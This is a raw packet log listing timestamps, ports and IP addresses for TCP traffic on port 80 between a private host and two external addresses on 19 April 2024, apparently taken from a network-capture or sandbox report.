Apr 19, 2024 03:29:06.056976080 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056998968 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057009935 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057037115 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057048082 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057074070 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057084084 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057111025 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057121038 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057147980 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057159901 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057188034 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057200909 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057236910 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057243109 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057280064 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057291031 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057317019 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057327032 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057353020 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057363033 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057389975 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057400942 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057425976 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057436943 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057463884 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057475090 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057502985 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057512999 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057539940 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057549000 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057579041 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057588100 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057615995 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057626009 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057655096 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057662964 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057692051 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057703972 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057729959 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057739019 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057769060 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057775974 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057807922 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057825089 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057845116 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057858944 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057883024 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057893991 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057919979 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057928085 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.057960033 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.057974100 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058000088 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058007956 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058037043 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058057070 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058074951 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058084011 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058111906 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058120966 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058149099 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058157921 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058185101 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058197975 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058222055 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058233976 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058259964 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058269978 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058295965 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058316946 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058336020 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058347940 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058372974 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058382988 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058410883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058418989 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058448076 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058461905 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058485031 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058495998 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058522940 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058533907 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058561087 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058568954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058598995 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058608055 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058636904 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058648109 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058675051 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058707952 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058717966 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058725119 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058758020 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058768034 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058796883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058808088 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058832884 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058844090 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058871031 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058881044 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058908939 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058923960 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058945894 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058955908 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.058984995 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.058993101 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.059036016 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.279148102 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279212952 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279252052 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279289961 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279329062 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279356956 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.279356956 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.279356956 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.279367924 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279381990 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.279407024 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279417992 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.279448032 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279458046 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.279486895 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279495955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.279527903 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.279536963 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.279571056 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.286648989 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.286714077 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.286720037 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.286758900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.286761999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.286803007 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.286814928 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.286843061 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.286849976 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.286884069 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.286890030 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.286925077 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.286937952 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.286963940 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.286973000 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287003994 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287013054 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287043095 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287050962 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287089109 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287094116 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287127972 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287137985 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287168026 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287174940 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287209988 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287220955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287250996 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287257910 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287290096 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287296057 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287328959 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287343979 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287365913 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287377119 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287405014 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287427902 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287446976 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287458897 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287487030 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287494898 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287524939 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287535906 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287564993 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287571907 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287606001 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287611961 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287643909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287653923 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287683964 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287694931 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287725925 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287744999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287765980 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287777901 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287803888 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287818909 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287846088 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287846088 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287885904 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287893057 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287925959 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287935972 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.287965059 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.287983894 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.288003922 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.288012028 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.288043976 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.288049936 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.288084984 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.288094997 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.288149118 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.289267063 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.289323092 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.290734053 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.290800095 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.290802002 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.290844917 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.290853024 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.290888071 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.290904999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.290927887 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.290936947 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.290967941 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.290981054 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.291007042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.291009903 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.291045904 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.291059971 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.291090965 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.291095018 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.291132927 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.291136980 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.291172028 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.291182041 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.291224003 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.304393053 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.304457903 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.304595947 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.304627895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.304821014 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.304888010 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.304929018 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.304975986 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.304996967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.304996967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.304996967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305013895 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305030107 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305052996 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305061102 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305094957 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305109978 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305133104 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305143118 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305174112 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305182934 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305212975 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305233002 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305250883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305258036 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305289030 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305294991 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305329084 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305344105 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305366993 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305378914 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305404902 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305419922 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305444002 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305455923 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305484056 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305505037 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305524111 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305533886 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305562019 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305572987 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305599928 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305610895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305636883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305648088 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305675030 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305685997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305711985 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305722952 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305753946 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305763960 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305794954 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305803061 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305833101 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305843115 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305871010 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305881977 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305908918 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305924892 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305948973 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305963993 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.305988073 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.305996895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306025982 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306045055 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306063890 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306077003 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306102037 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306126118 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306139946 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306150913 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306178093 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306190968 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306216955 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306230068 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306255102 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306266069 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306292057 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306301117 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306329966 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306337118 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306366920 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306377888 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306405067 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306416035 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306443930 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306448936 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306480885 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306493044 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306519032 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306533098 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306557894 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306569099 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306596994 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306607008 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306653023 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306667089 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306691885 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306703091 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306730032 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306740999 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306771040 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306777954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306807995 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306824923 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306849003 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306854010 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306886911 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306900024 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306925058 CEST	80	49714	193.233.132.56	192.168.2.5
